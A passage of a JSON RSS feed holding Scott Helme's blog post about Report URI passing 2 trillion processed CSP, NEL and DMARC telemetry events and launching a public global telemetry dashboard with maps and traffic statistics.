              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "OWASP",
              "term": "OWASP",
              "url": null
            },
            {
              "label": "ASVS",
              "term": "ASVS",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        },
        {
          "id": "6863a159db89a500016be6a1",
          "title": "Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀",
          "description": "<p>We’ve just passed a monumental milestone: <strong>2 trillion events processed</strong> through <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>!!! That’s <em>2,000,000,000,000</em> events for <a href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP</a>, <a href=\"https://report-uri.com/products/network_error_logging?ref=scotthelme.ghost.io\" rel=\"noreferrer\">NEL</a>, <a href=\"https://report-uri.com/products/dmarc_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">DMARC</a>, and other browser-generated and email telemetry reports—ingested, parsed, and processed for our customers!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"565\" height=\"215\"></a></figure><p></p><p>This is a phenomenal milestone to achieve</p>",
          "url": "https://scotthelme.ghost.io/trillion-with-a-t-surpassing-2-trillion-events-processed/",
          "published": "2025-07-02T18:12:32.000Z",
          "updated": "2025-07-02T18:12:32.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\"><p>We’ve just passed a monumental milestone: <strong>2 trillion events processed</strong> through <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>!!! That’s <em>2,000,000,000,000</em> events for <a href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP</a>, <a href=\"https://report-uri.com/products/network_error_logging?ref=scotthelme.ghost.io\" rel=\"noreferrer\">NEL</a>, <a href=\"https://report-uri.com/products/dmarc_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">DMARC</a>, and other browser-generated and email telemetry reports—ingested, parsed, and processed for our customers!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"565\" height=\"215\"></a></figure><p></p><p>This is a phenomenal milestone to achieve in the year that will mark our 10th Birthday, and shows just how quickly we're still growing!</p><p><strong>May 2015</strong>: 0 Events - Launch Day [<a href=\"https://scotthelme.co.uk/csp-and-hpkp-violation-reporting-with-report-uri-io/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>]<br><strong>March 2021</strong>: 500,000,000,000 Events - 500 Billion Events [<a href=\"https://www.facebook.com/reporturi/posts/pfbid0jZJQRbPsDZZsKnA21QzwQa7CcATd1AjD8Zwr4EPHeqytrDAC5hTjuSc8wbH5xuz2l\" rel=\"noreferrer\">source</a>]<br><strong>February 2022</strong>: 1,000,000,000,000 Events - 1 Trillion Events [<a href=\"https://x.com/Scott_Helme/status/1490066996268052494?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>]<br><strong>November 2023</strong>: 1,500,000,000,000 Events - 1.5 Trillion Events [<a href=\"https://scotthelme.co.uk/report-uri-a-week-in-numbers-2023-edition/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a>]<br><strong>July 2025</strong>: 2,000,000,000,000 Events - 2 Trillion Events [keep reading!]</p><p></p>\n<!--kg-card-begin: html-->\n<a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" style=\"box-shadow: none;\">\n  <img src=\"https://scotthelme.co.uk/content/images/2025/07/report-uri---Copy.png\" style=\"max-width: 75%;\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\">\n</a>\n<!--kg-card-end: html-->\n<p></p><p>To mark this incredible occasion, I'm excited to announce the <a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI Global Telemetry Dashboard</a>. I often get questions about how many telemetry events we process per day, how many browsers send us telemetry, where does the telemetry come from?! Well, now, you can see the answer to all of those questions and a lot more. If you like cool graphs, geeky data, and insights into things operating at enormous scale, you're really going to enjoy this! 😎</p><p></p><h4 id=\"the-report-uri-global-telemetry-dashboard\">The Report URI Global Telemetry Dashboard</h4><p>Taking screenshots and sharing them here really isn't going to do this justice, and there is a special surprise on one of the dashboards that I'm not going to spoil for you here! If you want to see all of this stuff live and have a play around with it yourself, head over to the <a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dashboard</a> now. For those of you still here, I want to share some information and insights into the data. </p><p>As of the time of writing, this is the exact data showing on the homepage of the dashboard:</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-1.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"782\" height=\"717\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-1.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-1.png 782w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>That incredible number of almost 2 trillion events processed is right there, and a pretty incredible average of over <em>12,000 events per second</em> that we processed yesterday! The thing that always strikes me about this number is that this isn't requests that we're serving a response to, nothing here can be served from cache. Each inbound event needs processing, analysing, and storing, with the potential for alerts to be raised, Threat Intelligence to be generated, customers to be notified and much, much more. Another impressive statistic is just how many unique clients out there are sending us telemetry data, reaching almost a quarter of a billion unique clients in just the last 30 days! That's a huge amount of insight into the Web ecosystem and a significant contributing factor to the benefit we can bring by leveraging that insight to spot attacks faster. The remainder of the <a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Dashboard Home</a> page shows additional insights into our traffic volumes, showing the hourly data for the last 24 hours, and the daily data for the last 7 and 30 days.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-5.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"950\" height=\"562\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-5.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-5.png 950w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-3.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"940\" height=\"555\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-3.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-3.png 940w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-4.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"943\" height=\"550\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-4.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-4.png 943w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>You can already start to see some interesting trends in that data, and these are trends that we've been tracking for a really long time. The 24 hour graph clearly shows the busy periods within a typical day for us, and it's not surprising to guess at what time of the day we see the most telemetry! Both the 7 day and 30 day graphs show our typical weekly trends too, with far more activity showing Mon-Fri than at the weekend. </p><p></p><h4 id=\"the-global-heat-map\">The Global Heat Map</h4><p>This particular page in the dashboard is my second-favourite, and it's easy to see why. Looking at the telemetry we received over the last 30 days, this <a href=\"https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">heat map</a> shows where that telemetry came from!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-6.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"1475\" height=\"740\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-6.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-6.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-6.png 1475w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>You can zoom in to the map and really start to see where the busiest locations for us receiving telemetry are, with some expected locations showing up as the hottest areas of the map, and some more surprising areas showing up in there too! Zooming all the way in to the datacentre just down the road from me in Manchester, you can see exact counts of telemetry that went through that location in the last 30 days.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-7.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"748\" height=\"825\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-7.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-7.png 748w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>Have a fly around the map and see what your nearest location is and what volume of telemetry went through that location in the last 30 days on our <a href=\"https://dash.report-uri.com/heatmap/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Heat Map</a>!</p><p></p><h4 id=\"we-have-a-pew-pew-map\">We have a Pew Pew Map!</h4><p>Okay okay I said I wasn't going to spoil the surprise, but I am way too excited about this one! Ever since seeing the original Norse Attack Map over 10 years ago, I've always wanted my own <a href=\"https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Pew Pew Map</a>, and now we have one! The GIF here is simply not going to do this justice, so you absolutely should head over to the page and see this thing live, in action, right now!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/pew-pew-map-1.gif\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"1602\" height=\"1015\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/pew-pew-map-1.gif 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/pew-pew-map-1.gif 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/07/pew-pew-map-1.gif 1600w, https://scotthelme.ghost.io/content/images/2025/07/pew-pew-map-1.gif 1602w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>What you're seeing here is <em>actual telemetry</em> being to sent to us! The map is 5 minutes behind real-time, and the data is real. The more red the zap is, the more telemetry we received from that location, and the faster the zap is moving, the more frequently we are receiving telemetry from that location! There are no estimations here, there is no mock data. This is a direct representation of real data, and I think that just makes this even more awesome! Our primary datacentre is located in SFO, as I'm sure you've guessed, and we do have a secondary location in AMS for our more regulated EU customers, but they are excluded from this data. </p><p>I'm tempted to get myself a second monitor off to the side of my desk just for this map, it really is quite cool to watch. If you come back at different times during the day, you can clearly see the different trends in our traffic patterns for inbound telemetry, to the point where you can almost track the Sun moving across the map based on the telemetry volumes!</p><p></p><h4 id=\"country-specific-data\">Country Specific Data</h4><p>There's just no way you can top a Pew Pew Map, but we do still have a heap of interesting data that we can peruse. The next page is our <a href=\"https://dash.report-uri.com/country/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Country Specific Data</a>, which in many ways shows exactly what you might expect, with a couple of surprises in there too.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-8.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"850\" height=\"493\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-8.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-8.png 850w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>The US is by far our largest source of telemetry data, which makes a lot of sense as a large portion of our customers are US-based companies, likely with US based visitors themselves. People may be surprised to see Japan so high up that list, but we do have a few quite notable customers in Japan, including a rather large coffee company, so they generate more than their fair share of telemetry. After that, the UK is coming in, followed by India that are helped by their population size, and then a broad selection of countries that you might expect to see up there too. The table below that gives exact details on our Top 20 Countries, but here are the top 3 for you.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-9.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"754\" height=\"305\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-9.png 600w, https://scotthelme.ghost.io/content/images/2025/07/image-9.png 754w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"some-technical-data\">Some technical data!</h4><p>To close things out for now, we have our <a href=\"https://dash.report-uri.com/info/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Detailed Information</a> dashboard that goes into a little bit more of the technical data behind our inbound telemetry. We do have plans to expand this to incorporate a lot more metrics, but for now, I think we have a pretty good selection available. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-10.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"1027\" height=\"1153\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-10.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-10.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-10.png 1027w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Looking at the HTTP Version and TLS Protocol used, you can see that we clearly have a very wide selection of modern clients out there, using TLSv1.3 almost exclusively, and HTTP/2 and HTTP/3 taking the lion's share of the application protocol. When responding to inbound telemetry requests, our most common response is an empty txt response to save as much bandwidth and overhead as possible, we simply reply with an empty 201 to acknowledge receipt. After the 201, we have a variety of response codes that we might use along with a message in the body to give more information on the problem to help with debugging. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2025/07/image-11.png\" class=\"kg-image\" alt=\"Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀\" loading=\"lazy\" width=\"1025\" height=\"1145\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2025/07/image-11.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/07/image-11.png 1000w, https://scotthelme.ghost.io/content/images/2025/07/image-11.png 1025w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Taking a look across the next set of data, I'm often quite surprised to see Firefox so heavily represented in the Client UA, but there are a wider selection of Chromium based browsers in the mix. The front runners for Top Colo By Requests won't be a huge surprise given the country data above, but it is nice to see a breakdown of where our most popular locations are. Closing it out, we have a little more client data showing the Client OS, with a probably expected Windows and iOS being the most dominant, and Client Type showing that Desktop is hanging on to the top spot with Mobile close behind!</p><p></p><h4 id=\"theres-more-to-come\">There's more to come!</h4><p>I created this dashboard to scratch an itch, I got to play with some cool data, and as I mentioned above, I've <em>always</em> wanted a pew pew map! I also really enjoyed stepping away from the more serious responsibilities of being 'CEO and Founder' to play around with cool technology and build something awesome! That is, after all, why I founded the company in the first place. </p><p>I hope the dashboard will be interesting and provide some insight into what we're doing, and if there's something you'd like to see added to the dashboard, or any questions you have, just let me know in the comments below. As I come across any interesting metrics in the future, I'll be sure to add them to the dashboard, and I'd love to hear your suggestions too!</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png",
              "image": "https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "report-uri.com",
              "term": "report-uri.com",
              "url": null
            }
          ]
        }
      ]
    }
    Analyze Another View with RSS.Style